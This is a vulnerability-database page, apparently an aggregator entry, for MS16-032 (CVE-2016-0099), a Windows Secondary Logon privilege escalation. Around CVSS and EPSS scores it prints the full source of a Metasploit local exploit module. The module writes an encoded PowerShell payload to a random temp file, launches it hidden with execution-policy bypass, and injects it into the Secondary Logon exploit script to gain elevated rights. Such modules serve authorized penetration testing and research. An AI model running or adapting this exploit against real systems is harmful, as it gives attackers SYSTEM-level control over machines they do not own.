Lucene search

K
metasploitJames Forshaw, b33f, khr0x40shMSF:EXPLOIT-WINDOWS-LOCAL-MS16_032_SECONDARY_LOGON_HANDLE_PRIVESC-
HistoryJun 21, 2016 - 6:56 p.m.

MS16-032 Secondary Logon Handle Privilege Escalation

2016-06-2118:56:12
James Forshaw, b33f, khr0x40sh
www.rapid7.com
212

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.0004 Low

EPSS

Percentile

9.3%

This module exploits the lack of sanitization of standard handles in Windows’ Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
        'Description' => %q{
          This module exploits the lack of sanitization of standard handles in Windows' Secondary
          Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
          32 and 64 bit.  This module will only work against those versions of Windows with
          Powershell 2.0 or later and systems with two or more CPU cores.
        },
        'License' => BSD_LICENSE,
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [],
          'Reliability' => []
        },
        'Author' => [
          'James Forshaw', # twitter.com/tiraniddo
          'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
          'khr0x40sh'
        ],
        'References' => [
          [ 'MSB', 'MS16-032'],
          [ 'CVE', '2016-0099'],
          [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
          [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
        ],
        'DefaultOptions' => {
          'WfsDelay' => 30,
          'EXITFUNC' => 'thread'
        },
        'DisclosureDate' => '2016-03-21',
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          # Tested on (32 bits):
          # * Windows 7 SP1
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          # Tested on (64 bits):
          # * Windows 7 SP1
          # * Windows 8
          # * Windows 2012
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
      ]
    )
  end

  def check
    unless session.platform == 'windows'
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    res = psh_exec 'if($([System.Environment]::ProcessorCount) -gt 1) { echo("true") }'
    unless res.include? 'true'
      vprint_error 'Target system has an insufficient number of processor cores'
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path, mode: 'rb')

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first

    if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86
      cmdstr.gsub!('System32', 'SYSWOW64')
      print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell')
      vprint_warning(cmdstr.to_s)
    end

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)

    psh_payload = compress_script(psh_payload)

    @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1'
    path = datastore['W_PATH'] || expand_path('%TEMP%')
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile, 'wb')
    print_status("Writing payload file, #{@upfile}...")
    fd.write(psh_payload)
    fd.close
    psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}"

    # lpAppName
    ms16_032.gsub!('$cmd', "\"#{cmdstr}\"")
    # lpcommandLine - capped at 1024b
    ms16_032.gsub!('$args1', "\"#{psh_cmd}\"")
    end_flag = Rex::Text.rand_text_alphanumeric(32)
    ms16_032.gsub!('$end', end_flag)

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = 'Compressed size may cause command to exceed '
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    print_status('Executing exploit script...')

    cmd = expand_path('%windir%')
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmd += '\\Sysnative'
    else
      cmd += '\\System32'
    end

    cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\""

    args = nil

    begin
      r = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => true
      })

      while (d = r.channel.read)
        print(d)
        break if d.include? end_flag
      end
      r.channel.close
      r.close

      print_good('Executed on target machine.')
    rescue StandardError
      print_error('An error occurred executing the script.')
    end
  end

  def cleanup
    rm_f(@upfile)
    print_good("Deleted #{@upfile}")
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.0004 Low

EPSS

Percentile

9.3%